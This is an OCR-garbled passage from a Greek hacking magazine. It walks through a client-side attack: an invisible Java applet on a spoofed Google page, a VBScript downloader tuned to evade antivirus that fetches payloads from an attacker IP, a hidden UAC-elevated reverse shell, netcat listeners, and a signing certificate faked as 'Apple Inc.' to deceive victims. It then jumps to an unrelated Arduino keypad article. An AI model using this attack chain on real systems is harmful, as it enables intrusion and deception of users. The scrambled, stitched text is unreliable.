Δοκιμαστικά, αρκεἰ στο Windows box του θύματος να πληκτρολογηθεί το 
ακόλουθο: 


c:\>myelevate test 100.100.1.1 1234 


Μόλις τρέξει το test θα στείλει το shell στην IP 100.100.1.1 και στην nop- 
τα 1234. Αμέσως μετὰ ο επιτιθἐµενος θα ἐχει full administrative access 
στο Windows box. Αυτὸς λοιπὀν εἶναι ο στόχος µας: Na τρέξουµε στο box 
του θύματος την παραπάνω εντολἠ, αφού φυσικά τοποθετήσουμε εκεὶ τα 
εµπλεκόμενα εκτελέσιμα (το myelevate.exe και το text.exe). 


H επιτυχία της επἰθεσης βασίζεται a) σε εκείνους τους χρήστες που χρη- 
σιμοποιούν το Windows box τους µε δικαιώματα Administrator (δηλαδἠ 
στο 90% των οικιακών χρηστών) και B) σ’ εκείνους που ¿xouv απενεργο- 
ποιημένο το UAC -- χωρἰς όμως aUTO να σημαίνει OT! δεν θα naigEl σωστά 
και σ΄’ αυτούς που το xouv ενεργοποιημένο (αρκεἰ να κάνουν va κλικ 
παραπάνω). 


Τα εργαλεία και οι σκοποί τους 
Το software που χρησιμοποιούμε για την επίθεση εἶναι το παρακάτω: 


ο ‘Eva πολύ μικρὸ κομμάτι HTML κὠδικα για την κλήση του Java 
applet (δικὀ µας). Εἶναι auto που θα βάλουμε στον server της 
Google (axy) και που θα καλεὶ το applet κάθε φορά που κάποιος 
τον επισκέπτεται. 


ο To Java applet που όταν εκτελεἰται καλεί τον downloader. 


ο Τον downloader, σε VB Script. Πρὀκειται για Eva ὀχι 100% δικὀ µας 
πρὀγραμμα, αλλά τροποποιημένο κατὰ ἑνα πολύ μεγάλο ποσοστὀὸ 
(πάνω ano 80%) ano εμάς, ὥστε να µην εἶναι ανιχνεύσιµο ano τα 
anti-malware. Μόλις τρέξει θα κατεβάσει ano To box Tou επιτιθἐµε- 
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νου, µέσω της πόρτας 80 (http?), τα δύο επόμενα εκτελέσιμα που 
αποτελούν και τα βασικά εργαλεία για την επίτευξη του στὀχου. 


ο Το πρὀγραμμα myelevate.exe. Δεν εἶναι δικὀ µας αν και το τροπο- 
ποιήσαμε λίγο. 


ο Τοπρόγραμμα test.exe (100% δικὀ µας). 


Ακολουθεί ανάλυση Tou software. 


Κλήση του Java applet 


Το Java applet καλείται ano µια γραμμή κὠδικα HTML η οποία τοποθε- 
τήθηκε μέσα στο index.html ενὸς server της Google (λἐμε τώρα), WOTE 
να τρέξει µε την πρώτη επίσκεψη του θύματος. O κὠδικας αυτὸς εἶναι ο 
παρακάτω: 


<applet code="AppleViewer.class" archive="SignedAppleViewer. jar" 
height="0" width="0"></applet> 


Δεν νομἰζουμε OT! χρειάζονται πολλὲς επεξηγἠσεις εδὠ: Ορίζεται και 
καλείται va Java applet µε το ὀνομα AppleViewer*. Για να µην κινήσει 
υποψίες το TAG εἰναι αὀρατο, ἐχοντας μηδενικὸ height και width. Αυτός 
ο κὠδικας θα μπει µέσα στη ...Google και θα τρέχει κάθε φορά που την 
επισκέπτεται κάποιος! 


Το ἴδιο To Java applet 


O κὠδικαςτου applet nou απαιτεἰται για να γίνει όλη η δουλειά διατίθεται 
ano το http://bit.ly/dhee4japplet (για λόγους privacy η IP του επιτιθἐµε- 
νου ἐχει γίνει 100.100.1.1). Καλό θα ἦταν να εξηγήσουμε μερικὰ βασικά 
πράγματα επάνω στον κὠδικα. Δώστε βάση στο vb script (step [1]) nou 
γράφεται µε redirection μέσω του command interpreter (cmd.exe) στο 
temporary directory του θύματος. Πρὀκειται για µια OUVENTUYHEVN pop- 
P του παρακάτω κὠδικα: 


Dim bfile, SiteResponse, Http, fsys, tmp, file 

set fsys = CreateObject("Scripting.FileSystemObject") 
tmp = fsys.GetSpecialFolder(2) 

Set bfile = CreateObject ("ADODB. Stream") 

bfile.Type = 1 

bfile.Open 

Set Http = CreateObject ('WinHttp.WinHttpRequest.5.1") 
Http.Open "GET", "http://100.100.1.1/myElevate.exe", False 
Http.Send 

SiteResponse = Http.ResponseBody 

bfile.Write SiteResponse 

file = tmp + "\" + "myElevate.exe" 

bfile.SaveToFile file, 2 

Http.Open "GET", "http://100.100.1.1/test.exe", False 


3. Μπορείτε να φανταστείτε γιατί έχει σημασία η χρήση της πόρτας αυτής; 
4. AppleViewer: Μην πείτε; Πετυχημένο ὀνομα, έτσι; 
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Http.Send 

SiteResponse = Http.ResponseBody 
bfile.Write SiteResponse 

file = tmp + "\" + "test.exe" 


bfile.SaveToFile file, 2 


An’ ὁ,ι βλέπετε, το παραπάνω script μόλις εκτελεστεί θα κατεβάσει, 
μέσα ano την πόρτα 80, στο temp directory του θύματος τα δύο EKTEAE- 
σιµα (myelevate.exe kal test.exe) που βρίσκονται στον server του ENITI- 
θέμενου. Πρόκειται για µια παραλλαγἠ του γνωστού VB script nou εἰχε 
δηµοσιευτεἰ στο πἆλαι ποτὲ milworm κάτω απὀ το (νεκρὀ πλέον) link: 
www.milwOrm.com/papers/262. Εκεἰνο, στο milworm, ἐπαιρνε ano τη 
γραμμὴ εντολών τα αρχεία που θα κατέβαζε καθὼς και την IP του server 
ano τον οποίο θα κατἐβαζε. Επίσης, το βασικὀ download γίνονταν στον 
τρέχοντα κατάλογο που ETPEXE TO Script (κι ὀχι στον temp των Windows), 
ano µια function µε To ὀνομα BinaryGetURL. Όμως To script εκείνο ἐφερ- 
νε αλλεργἱα στον κύριο NOD32, ο οποίος και το σκότωνε θεωρώντας TO 
(όχι ἁδικα) ως απειλἠ. Το παραπάνω όμως script δεν φαίνεται va του 
δημιουργεἰ κάποια ανησυχἰα ;) Το αξιοσημείωτο της υπόθεσης εἶναι ὁτι η 
εργασία που επιτελεὶ εἶναι ακριβώς η ἴδια. Το γεγονὸς αυτὀ μαρτυρά ἑναν 
ano τους τρόπους που δουλεύουν οι μηχανικοὶ των anti-virus: Αντιγρά- 
φουν τον κὠδικα μερικών Malware ως ἐχει, Χωρίς να ασχολούνται HE τις 
παραλλαγές τους. Εντάξει, δεν εἶναι κακό, αποδεκτὀ εἶναι. ΟΙ παραλλα- 
γὲς εἶναι άπειρες και δεν μπορεἰ να γίνει αλλιώς. Άσε που υπάρχει και ο 
κίνδυνος να χαρακτηριστεί απειλἠ κἀποιο απόλυτα legit πρὀγραμμα. Εδὠ 
οι προγραμματιστὲς της Eset Φαίνεται OT! στόχευαν τους script-kiddies, 
αφού μόνον αυτοί δεν θα μπορούσαν να καταλάβουν τι κάνει AUTÒ το pl- 
κρὀ script WoTe να το αλλάξουν! Αυτοἰ εἶναι οι μόνοι που χρησιμοποιούν 
ἑτοιμα προγράµµατα, χωρίς καν να ξέρουν πως λειτουργούν. Το µόνο nou 
τους ενδιαφέρει εἶναι να κάνουν... αταξἰες. 


Αμέσως μετὰ, στο step [2], εκτελούμε τον downloader. Πρέπει εδὠ να 
πούμε ὁτι τα τρία βασικἀ βήματα που εκτελεἰ το Java applet *dev* πρέπει 
να τρέχουν ασύγχρονα. Αυτὸ διότι στο step [2] μπορεί να ἐχουμε µια 
καθυστέρηση (μέχρι να κατέβουν και τα 2 αρχεία) και μέχρι τότε δεν 
πρέπει µε κανέναν τρόπο να εκτελεστεὶ το step [3] (που τρέχει αυτά τα 
αρχεία). Π’ αυτὀ και σε αυτό To step χρησιμοποιείται η built-in συνάρτηση 
της Java µε ὀνομα waitfor. Τέλος, στο step [3] δώστε βάση στον τρόπο 
που καλείται η επίθεση: 


cmd.exe /c \"%tmp%\\myelevate %“tmp%\\test 100.100.1.1 1234." 


O command interpreter εκτελεί TO myelevate.exe περνώντας σαν napa- 
μετρο To test.exe (To reverse shell). Στο δε test περνάνε οι παράμετροι 
της IP του επιτιθέµενου και της πόρτας που θα σταλεἰ TO command shell 
(όπως αναφἑἐραµε και παραπάνω). Πολύ σημαντικἠ επἰσης εἶναι η διαδικα- 
σία registration Tou Java applet που πρέπει να κάνει ο επιτιθἐµενος στο 
d1KO του box. Πα να μπορέσει να εκτελεστεί Eva Java applet πρέπει να 
εἶναι εγγεγραμμένο (registered) στον server στον onoio θα τρέξει. AUTO 
Φφαΐνεται στην παρακάτω εικὀνα. 
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>javac AppleViewer. java 


δαν cuf AppleViewer.jar AppleViewer-class 
added manifest 
adding: AppleViewer.class¢€in = 1597} Cout= 861)(deflated 46%) 


>keytool -genkey -alias signfppleViewer -keystore mykeystore -keypass mykeypass 
storepass mystorepass 
What is your first and last name? 
[Unknown 1: Inc. SA 
What é your organizational unit? 
Apple Inc. SA 
the name of your organization? 
own]: Apple Inc. SA 
What is the name of 
Apple 
name of r State or Province? 
Apple 


. SA, L=Apple 


>jarsigner -keystore mykeystore —storepe mystorep -keypass mykeypass -signe 
djar gnedAppleViewer.jar AppleViewer.jar signfppleViewer 


Mlhe signer certificate will expire within six months. 


>keytool -export -keystore mykeystore —storepa mystorepass -alias signfAppleVie 
icate.cer 
tored in file <myce 


Δώστε βάση στις τιμὲς που δίνουμε κατὰ το registration Tou Applet. Εἶναι 
αυθαίρετες. Μπορούμε να βάλουμε ὀ,τι θέλουμε. Εδὠ χρησιμοποιούμε TO 
«Apple Inc» µόνο και µόνο για να πειστεἰ ο χρήστης σε περίπτωση που 
πατήσει «More Information...», στο παράθυρο επιβεβαίωσης που θα avoi- 
Eel όταν εκτελεστεἰ το applet (θα το δούμε παρακάτω). 


Το myelevate.exe 


Αυτό εἶναι ἑνα απὀλυτα νόμιμο πρὀγραμμα το οποίο ἐχει φτιαχτεί για να 
τρέχει κάποιος, απὀ τη γραμμὴ EVTOANG, Eva οποιοδήποτε πρόγραµµα σε 
elevated mode. Τρέχει σε windows Vista και πάνω. Τα credits ndve στον 
κύριο Johannes Passing (http://int3.de). Το πρόγραμμα ἐχει το καλό ὁτι 
κατὰ την εκτέλεση του εμφανίζει το συγκεκριμένο Command interpreter 
window. AUTO όμως το καλὸ δεν εἶναι και τόσο καλὸ για κἄποιον που θέλει 
να ‘val αὁρατος, για αυτὸ και τροποποιἠσαμε λιγάκι το πρὀγραμμµα του 
κου Johannes ὥστε να εκτελεἰ τις EVTOAEG του αὀρατα, χωρίς, δηλαδὴ, 
να εμφανίζει το command line window. Πα να πούμε την αλήθεια, µετά 
ano µια μελέτη του κὠδικα η αλλαγή δεν ἦταν καθόλου δύσκολη. Πα την 
ακρίβεια, μόνο την ακὀλουθη συνάρτηση τροποποιἠσαµε: 


INT Launch( 

in PCWSTR ApplicationName, 
in PCWSTR CommandLine, 
__in BOOL Wait 


) 


{ 
SHELLEXECUTEINFO Shex; 


ZeroMemory( &Shex, sizeof( SHELLEXECUTEINFO ) ); 
Shex.cbSize = sizeof( SHELLEXECUTEINFO ); 

Shex.fMask = SEE_MASK_FLAG_NO_UI | SEE_MASK_NOCLOSEPROCESS; 
Shex.1pVerb = L"runas"; 

Shex.1lpFile = ApplicationName; 

Shex.1lpParameters = CommandLine; 

// Thiseas Hide this window! 
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//Shex.nShow = SW_SHOWNORMAL; 
Shex.nShow = SW_HIDE; 


To test.exe 


Αυτό To πρὀγραμµα εἶναι Eva δικὀ µας reverse shell, γραμμένο σε C++. 
To source code εἶναι διαθέσιμο ano To http://bit.ly/dhee4AIvrs. 


Δεν εἶναι ο στὀχος του συγκεκριμένου άρθρου να αναλύσουμε γραμμή- 
γραμμὴ To εν λόγω πρὀγραμμα, αξίζει ὁμως να πούμε οτι το συγκεκριµένο 
reverse shell παραμένει ακόµα undetectable (τουλάχιστον ano την Eset). 
Δέχεται δύο παραμέτρους: την IP και την πόρτα που θα σταλεἰ To shell. O 
επιτιθέμενος το µόνο που χρειάζεται εἶναι να «σηκώσει» Evav listener στο 
box του, στη συγκεκριμένη πόρτα που θα σταλεί ο Command Interpreter. 
Θα πρέπει, δηλαδὴ, πριν τρέξει το test.exe στο box του θύματος να ἐχει 
τρέξει στο box του επιτιθέµενου, π.χ., TO netcat, σε listening mode και 
πάνω στη σωστὴ πόρτα (στην περἰπτωσἠ µας την 1234). Αναλυτικότερα, 
σε Fedora/CentOS/RedHAT ο επιτιθέμενος θα τρέξει: 


# nc -1 1234 
Σε Debian/Ubuntu/Mint ο επιτιθέμενος θα δώσει: 
# nc -v -l -p 1234 
Ὅπως και να ει, αφού τρέξει το netcat µετά anAd θα περιμένει ;) 


Πολλὲς εικὀνες, πολλὲς χιλιάδες λέξεις 


Οι ακὀλουθες δύο εικὀνες εἶναι οι πιο αντιπροσωπευτικὲς του ἀρθρου. 
Το θύμα, στην πρώτη, ἐχει πάει μέσω του Internet Explorer 9.0 στο... 
Google και, ως εκ θαύματος, του ζητείται η ἁδεια για εκτέλεση κάποιου 
Java applet. 


ΕΒ http:/ocalhost/AppletExploit/TestApplet4/Google.htm P~ GX 9 
ΕἸ Google x 


File Edit Vie Favorites Tools Help 
τ ΒΊΗΟΜΕ Ji MyBookmarks ~ £) Google £) blank 
You Web Images ; Μ News 


Signin 3 5 


κ.. Click here to start sharing on Google+ 
Warning - y 


The application's digital signature cannot be verified. 
Do you want to run the application? 


Name: AppleViewer 
Publisher: UNKNOWN 
From: http:/focalhost 


Always trust content from this publisher. 


iGoogle Change background image 


Ww your personal information at risk. Run this application only # you More Information... 


«| trust the publisher, 


VHAGKER 
RW WINN NNN} 


ΧΧΧ Dad OID 


Στη δεύτερη εικὀνα φαίνεται ό,τι βλέπει ο επιτιθἐµενος. Στο Linux box 
του ἐχει ανοίξει ἑναν listener µε το netcat στην πόρτα 1234 κι απλά πε- 
ριμένει... 


Έστω τώρα OT! το θύμα εἶναι υποψιασμένο και πατάει To «More 
Information...», ὥστε va δει µε Ta ἰδια του τα μάτια τα στοιχεία του 
publisher Tou applet. Θα δει το παρακάτω: 


Applet4/Google.htm 
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Field Value 

Version V3 
Serial Number [1322846221] 
Signature Algorithm [SHA lwithDSA] 
CN=Apple Inc, SA, OU=Apple Inc. 54, O=... 
Validity [From: Fri Dec 02 19:17:01 EET 2011, To: T... 
Subject ICN=Apple Inc, SA, OU=Apple Inc, SA, O=... 
Signature (0000: 30 2C 02 14 0F 7F DD 67 98B07E... 
MD5 Fingerprint 26: AE:F2:DA: 14:6B:FF:34:88:F4:96:0E:95... 
SHA 1 Fingerprint 51:92:49: 20:F6:6A:FD:BB:B2:B5:95:35:55... 


CN=Apple Inc. SA, 
OU=Apple Inc. SA, 
O=Apple Inc. SA, 
L=Apple Inc. SA, 
ST=Apple Inc. SA, 
ΟΞΜΥ 


[E] Always trust content from this publisher. 


Change background image Ξ = 


This application will run with unrestricted access which may put 
your personal information at risk, Run this application only # you More Information... 
trust the publisher. 
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Xu, Apple Inc. SA; Λέτε η Apple να θέλει να µου κάνει κακὀ; Μπα, ano- 
κλείεται! Το αποτέλεσµα βέβαια εἶναι ¿va elevated reverse shell, όπως 
βλέπετε και στην επόμενη εικόνα: 


τ 


root@vps:~ 


Προσέξτε την εντολἠ 


netsh advfirewall firewall add rule name="test.exe" dir=in 
action=allow protocol=TCP localport=1234 


η onoia απαιτεἰ elevated privileges για να μπορέσει να εκτελεστεί! 


Συμπεράσματα 


Παρουσιάσαμµε µια client side επίθεση µε τη χρήση Java applet και μερικά 
undetectable εργαλεία. Οι παραλλαγές της επίθεσης που μπορούμε va 
σκεφτούμε εἶναι napa πολλές: πρόσθεση κανόνων στο firewall, αλλα- 
γὲς στο registry, εισαγωγἠ χρήστη µε administrator privileges κ.ο.κ. H 
συγκεκριμένη επίθεση, ὁπως εἰπαμε και στην αρχἠ, εκμεταλλεύεται την 
εμπιστοσύνη που EXE! κάποιος χρήστης σ’ Eva site. Μπορεί να υπερβἀλ- 
Aae λιγάκι χρησιμοποιώντας το πλαστὸ παράδειγµα µε το Google, αλλά 
προσέξτε: Στη θέση της Google θα μπορούσε να εἶναι το αγαπημένο σας 
forum ἡ --ακόμα χειρὀτερα-- η τρἀπεζἁ σας! Mi’ αυτὀ µην εμπιστεύεστε 
τόσο εὐκολα και αβίαστα τα φαινομενικά αθώα scripts που σας ζητούν 
ἀδεια να τρέξουν στον υπολογιστή σας. Επίσης, ὁσο κι αν σας εκνευ- 
ρίζει, ΜΗΝ απενεργοποιεῖτε το UAC στα Windows! Το UAC εἶναι ὁπως ο 
αερόσακος στο αυτοκίνητο: Μπορεἰ να χρειαστεί µια φορά µόνο, αλλά av 
χρειαστεἰ θα κάνετε το σταυρὀ σας που το εἰχατε! 


Skill: 
Intermediate 


Tags: Arduino, 
keypad, LED, 
matrix, ADC, 
multiplexing 


Εσάς ποιες κατασκευές σας αρέσουν; Προτιμάτε 
τις απλὲς και λειτουργικὲς ἡ εκείνες που διαθέτουν 
δεκάδες LED και διακόπτες, προσφέροντας Eva βουνὸ 
ano ετερὀκλητες λειτουργίες; Εμεἰς πάντως μπορούμε 
v’ αντιληφθούμε την εσωτερικἠ ομορφιά και των 
δύο -- ἡ τουλάχιστον ETO! θέλουμε να πιστεύουμε ;) 
Ακριβώς γι’ αυτὀ τείνουμε χεῖρα βοηθείας προς ὀλους: 
Θα εξετάσουμε τις κλασικότερες εφαρμογές του 
multiplexing και θα μάθουμε κολπάκια για τη βέλτιστη 
αξιοποίηση των ακροδεκτὠν του Arduino. Υπάρχει κανείς 
που να µην εκτιμά τις αποδοτικἐς κι ανορθὀδοξες λύσεις; 


by Spir@lEvolution 


* το k εἶναι μικρότερο του M 


Εικόνα 1 

Οι διακόπτες σε 
ένα keypad εἶναι 
συνδεδεμένοι KATA 
στήλες και κατά 
γραμμές. Η συγκε- 
κριμένη διάταξη 
ονομάζεται matrix. 
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Στο deltaHacker 003 ασχοληθἠκαµε µε πολύ απλά κυκλώματα. Στόχος 
μας ἠταν να εξοικειωθούµε µε Ta port του επεξεργαστή του Arduino, 
όπως επἰσης και µε τους καταχωρητὲς που ρυθμίζουν τη συμπεριφορά 
των port. Σε πολλὲς περιπτώσεις, η δυνατότητα va χειριζόµαστε TAUTO- 
Xpova ολόκληρες ομάδες ακροδεκτὠν εἶναι εξαιρετικἁ χρήσιμη -- αν OXI 
απολύτως αναγκαία! Όπως εἰδαμε, λοιπὀν, χρησιμοποιώντας τους KATA- 
XWPNTES των port μπορούμε να βάλουμε στο παιχνίδι και ὀλεςτις πράξεις 
που επιδρούν στα μεμονωμένα bit ενὸς αριθμού (πράξεις bitwise). Με 
αυτὸν τον τρόπο, μπορούμε να σκαρώνουμε διάφορα προγραμματιστικἁ 
τρικ, για να χειριζόµαστε μαζικά και ταχύτατα την κατάσταση πολλών 
ακροδεκτὠν. Ακολούθως --και αφού εἶχαμε αποκτήσει Evav τόσο καλό 
ἐλεγχο των ακροδεκτώὠν του Arduino--, μπήκαμε σε νέα μονοπάτια: Apxi- 
cape να εξερευνούμε το ενδεχόμενο αξιοποίησης ενὸς ακροδέκτη για na- 
ραπάνω ano μία εργασἰες. Κάπως ETO! μπήκαμε στα χωράφια Tou περἰφη- 
μου multiplexing. Στο σχετικὀ κύκλωμα που μελετήσαμε εἰχαμε συνδέσει 
διακόπτες και LED μαζι, πάνω στους ἴδιους ακροδέκτες! H τοπολογἱα που 
εξετάσαµε εἰχε αρκετὲς ατέλειες, αλλά ἦταν σχετικἀ απλἠ κι εξυπηρε- 
τούσε απὀλυτα το σκοπὀ μας: Συνδυάζοντας εισόδους (διακόπτες) και 
εξόδους (LED) επάνω στους ἰδιους ακροδέκτες, ἐδινε HE TOV πιο ξεκάθαρο 
τρὀπο την ἔννοια του multiplexing. 


Σ’ αυτὸ το τεύχος θα μελετήσουμε δύο παραδοσιακὲς εφαρμογὲς του 
multiplexing, οι οποίες παρουσιάζουν θεωρητικὀ αλλά και πρακτικὀ EV- 
διαφέρον. Επιπρόσθετα, θα εξετάσουμε μερικἁ κὀλπα για τη διασύνδεση 
πολλών διακοπτὠν σε ελάχιστους ακροδέκτες. Αυτά τα κολπάκια θα µας 
χρησιμεύσουν σε κατασκευὲς που θα συναντήσουμε σε επόμενα ἄρθρα 
της σειράς, αλλά εἱμαστε σίγουροι ὁτι θα τα αξιοποιήσετε και σε δικἀ σας 
project! Τέλος, θα κάνουμε µια σύντομη αναφορά στο φαινόμενο POV 
(Persistence Of Vision) και θα εξετάσουμε µια απλἠ, αλλά ενδιαφέρουσα 
εφαρμογή. Αυτἠ η εφαρµογἠ θα µας προετοιμάσει για το επόμενο μέρος 
της σειρᾶς, στο οποὶο θα βγάλουμε γούστα, για να το πούμε απλὰ και 
λαϊκά ;) Έχουμε napa πολύ ωραία πράγματα μπροστά µας, τι καθόμαστε; 


Μίνι-πληκτρολόγια 


Σχεδὸν τίποτα δεν συναγωνίζεται 
σε απλότητα και αποτελεσματικὀ- 
τητα Eva πληκτρολόγιο. Όσο hi- 
tech κι αν εἶναι οι κατασκευἑς µας, 
va μικρὸ πληκτρολόγιο µπορείἰ va 
διευκολύνει και να απλοποιήσει σε 
τεράστιο βαθμό την αλληλεπίδρα- 
ση µε το χρήστη. Μη φαντάζεστε 
κανένα μεγάλο, axapo πληκτρο- 
λόγιο για υπολογιστή αλλά Eva µι- 
κρὀ, BOAIKO κι ὀμορφο, µε δεκαέξι 
το πολὺ κουμπιά. Τα πληκτρολὀ- 
για αυτού του εἰδους ονομάζονται 
keypad και διατίθενται σε πολλὲς 
παραλλαγές. Τέτοια πληκτρολὀ- 
για ἐχουν συνήθως οι ενσύρματες 
τηλεφωνικὲς συσκευές (ναι, UNdp- 
χουν ακόμα), τα καρτοτηλέφωνα, 
οι βάσεις των συναγερμών κτιρίων 
και πολλὰ άλλα ηλεκτρονικἁ ou- 
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στήματα. Οι δημοφιλέστερες παραλλαγές διαθέτουν 12 ἡ 16 κουμπιά, 
σε pia διάταξη 3x4 ἡ 4x4 αντίστοιχα. Το ενδιαφἑρον στα εν λὀγω keypad 
ἐγκειται στον τρόπο µε τον οποίο συνδέουν εσωτερικἀ τους διακόπτες 
και τελικἀ, στο interface που εμφανίζουν προς το μικροελεγκτἠ µας (το 
Arduino εν προκειμένω). Πα παράδειγµα, ἑνα τυπικὀ keypad µε 16 διακὀὸ- 
πτες δεν θα δεσμεύσει 16 ακροδέκτες απὀ τον µικροελεγκτἠ αλλά μόλις 
οκτώ! Ας δούμε τι γίνεται στο εσωτερικὀ ενός keypad... 


Ως γνωστὸν, κἆάθε διακόπτης δια- 
θέτει (τουλάχιστον) δύο ακροδέ- 
κτες. Ας τους ονομάσουμµε A και B. 
Σε Eva keypad 4x4, οι διακόπτες εἰ- 
ναι οργανωμένοι σε 4 γραμμὲς και 
4 στήλες. Εσωτερικἀ, οι επαφὲς A 


κατά γραμμὴ, EvO οι επαφὲς B cei- 
ναι συνδεμένες κατὰ στήλη. Έτσι, 
ano το keypad βγαίνουν 4 ακροδὲ- 


ΚΙ ΕΙ ΕΙ ΚΒ 
Beeps 
των διακοπτὠν εἶναι συνδεμένες 7] ΕΙ ΕΙ ka 
a g Ε gA 


κτες που συνδέονται στις επαφὲἐς 
A των διακοπτὠν κάθε γραμμὴς, 
καθώς και ἄλλοι τόσοι που συνδέο- 
νται στις επαφὲς B των διακοπτὠν 
κάθε στήλης. Αυτή η συνδεσµολο- 4 bees 
yia ονομάζεται matrix και φαίνεται eats 
στην εικόνα 1. H μέθοδος µε την > 

οποία διαβάζει To keypad ἑνας pi- 

κροελεγκτἠς και ελέγχει TO αν 

πατήθηκε κάποιος διακόπτης, ano- 

τελεί μία απὀ τις κλασικότερες εφαρμογές του multiplexing. O µικροε- 
λεγκτὴς σαρώνει το keypad ελέγχοντας κάθε στιγμὴ μόνο τους 4 ano 
τους 16 διακόπτες. Κατὰ τη σάρωση, για τον ἐλεγχο καθεμίας τετράδας 
διακοπτὠν χρησιμοποιείται η *id!ia* πάντα τετράδα ακροδεκτὠν. Επομµέ- 
νως, η συγκεκριμένη τετράδα ακροδεκτώὠν ἐχει πολλαπλό ρὀλο!. Ὁσο για 
τη σάρωση καθεαυτή, δηλαδἠ την εκ περιτροπής ενεργοποίηση καθεμίας 
τετράδας διακοπτῶν, χρησιμοποιούνται οι υπόλοιποι 4 ακροδέκτες. Αν 
μπερδευτήκατε, µην ανησυχεἰτε καθόλου. Όλοι το παθαἰνουν στην αρχἠ. 
Θα ξεκαθαρἰσουν τα πάντα όταν συνδέσετε Eva keypad στο Arduino και 
μελετήσετε το προγραμματάκι που γράψαμε. 


Ἔλεγχος keypad 4x4 


Στην εικὀνα 2 φαίνεται Eva τυπικὀ keypad 4x4, ενὠ στην εικὀνα 3 Qaive- 
ται η συνδεσμολογἱα που ακολουθἠσαµε. Το προγραμματάκι που φτιάξαμε 
ονομάζεται keypad_digital και θα το βρείτε στο πακέτο arduino sketch- 
folders.zip (πάρτε To ano το http://bit.ly/dhOO4arsketch). H εργασία που 
μας ενδιαφἑρει, η σάρωση Tou keypad και ο έλεγχος του αν πατήθηκε 
κάποιο κουμπί, γίνεται ano τη συνάρτηση read_keypad. Παρακάτω BAE- 
πουμε Eva απὀσπασμα ano την αρχἠ της: 


void read_keypad() { 


PORTD = PORTD | B11110009; // disable all rows 
PORTD = PORTD & B01111111; // enable row 1 
delay(1); 


1. Ακριβώς yi’ αυτό, κάνουμε Adyo για multiplexing... 


omes 


Εικόνα 2 

Eva keypad 4x4 
διαθέτει οκτώ 
επαφές. Οι μισές 
συνδέονται στις 
γραμμές των 
διακοπτών και Οἱ 
υπόλοιπες στις 
στήλες. 


3 
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Εικόνα 3 
Δυστυχώς, το πρὀ- 
γραμμα µε το οποίο 
φτιάχνουμε τα 
σχέδια (Fritizing) 
δεν διαθέτει στη 
βιβλιοθήκη του 
keypad. Έτσι, 
αναγκαστήκαμε 

να αυτοσχεδιά- 
σουµε λίγο ;) Στην 
πραγματικότητα, 
για την ευκολότερη 
διασύνδεση χρησι- 
μοποιήσαμε και Eva 
breadboard. 
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cols [1 -> 4] 


VHAQKE 


NNN 


row = 1; 


col = PINB | B11110009; 
// make irrelevant bits high (1) 


if (col == 255) { 
E| 


Πριν ξεκινήσουμε, σημειώστε ὁτι 
ο κὠδικας που παραθέἑσαµε εἶναι 
ελαφρώς τροποποιηµένος, σε σχὲ- 
ση µε αυτὸν που θα δεἰτε αν avoi- 
ἕξετε το σχετικὀ πρὀγραμμα στο 
Arduino IDE?. Όπως φαίνεται και 
στο κύκλωμα, οι τέσσερεις τελευ- 
ταἰοι ακροδέκτες του PORTD ouv- 
δέονται στις γραμμὲς (rows) του 
keypad, ενώ οι τἐσσερεις πρώτοι 
ακροδέκτες του PORTB συνδέονται 
στις στήλες (cols ano To columns). 
Κάτι που δεν φαίνεται στις εικὀ- 
νες, αλλά που µπορείτε να το δείτε 
εξετάζοντας τον κὠδικα ολόκλη- 
ρου του προγράμματος, εἶναι ὁτι 
έχουμε ενεργοποιήσει τις εσωτε- 
ρικὲς αντιστάσεις pull-up, για τους 
τέσσερεις πρώτους ακροδέκτες 
του PORTB. Επἰσης, οι μεταβλητὲς 
row και col ¿xouv δηλωθεί ως byte 
(αποτελούνται μόνο ano 8bit). Ας 
δούμε τώρα τι ακριβώς κάνει η ou- 
νάρτηση read_keypad. 


εκει: 


q8 κ 3 
DIGITAL 


wwwW-arduino-cc 


ANALOG IN @ 


m POWER 
MSV Gnd Vin 0123485 


Γραμμἠ-γραμμἠ 

Apxikd, η συνάρτηση φροντίζει 
MOTE ο τελευταίος ακροδέκτης του 
PORTD να αποκτήσει τη λογικἠ τιµή 0. Οι υπόλοιποι ακροδέκτες της TE- 
λευταἰας τετράδας λαμβάνουν την τιμὴ 1, ενώ οι ἄλλοι διατηρούν αναλ- 
λοίωτη την τιµή που εἶχαν. Όλα αυτά επιτυγχάνονται µε την κατάλληλη 
χρήση των πράξεων bitwise OR (|) και bitwise AND (8), που πραγµατο- 
ποιούνται στις δύο πρῶτες γραμμές. Τελικά, ως αποτέλεσμα των παραπὰ- 
vw, η γραµµή διακοπτὠν που συνδέεται στον τελευταῖο ακροδέκτη του 
PORTD, συνδέεται στα OVolt (ἡ GND). Αντίθετα, οι υπόλοιπες γραμμές 
διακοπτὠν του keypad συνδέονται στα 5Volt. Θυμηθείτε τώρα ὁτι στους 
τέσσερεις πρώτους ακροδέκτες του PORTB, σε αυτούς που συνδέονται 
οι στήλες διακοπτὠν του keypad, έχουμε ενεργοποιἠσει τις αντιστάσεις 
pull-up. Αυτό σημαίνει ὁτι οι συγκεκριμένοι ακροδέκτες βρίσκονται povi- 
μα στη λογική κατάσταση 1. Κατὰ συνέπεια, μόνο το πάτημα των διακο- 
πτὠν της γραμμής 1 --οι οποίοι καταλήγουν στα OVolt--, μπορεὶ να γίνει 
αισθητὀ απὀ τους συγκεκριμένους ακροδέκτες. Οι διακόπτες των ἄλλων 
γραμμών, αυτών που καταλήγουν στα 5Volt, εἶναι eni της ουσίας ans- 
νεργοποιημένοι, αφού το πἀτημὰ τους δεν επιφἑρει καμία aAAayn στην 
κατάσταση των ακροδεκτὠν εισόδου και δεν γίνεται αντιληπτὀ. 

2. Στο πρόγραµµα ἐχουμε δηλώσει κάποιες σταθερές (constants), WOTE ο κώδικας να εἶναι ευανάγνωστος και 


να προσαρμόζεται εύκολα σε διαφορετικά κυκλώματα. Στο κείμενο, ωστόσο, εστιάζοντας στη λειτουργία και 
μόνο του προγράμματος έχουμε αντικαταστήσει τις σταθερὲς µε τις αντίστοιχες τιμές. 
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H μεταβλητή row διατηρεἰ τον αριθμὸ της σειράς, η οποία μόλις ελἐγ- 
χθηκε. Αντἰστοιχα, η μεταβλητή col διατηρεί τις τιμές των AKPOSEKTOV 
του PORTB και κατ’ επέκταση την κατάσταση των διακοπτῶν, Οι οποίοι 
βρίσκονται στις 4 στήλες της πρὠτης γραμμής. Παρατηρείστε ὁμως OT! 
ὁταν διαβάζουμε την κατάσταση των ακροδεκτὠν του PORTB (όταν δια- 
βάζουμε τον καταχωρητὴ PINB), κάνουμε και τη λογικὴ πράξη OR µε τον 
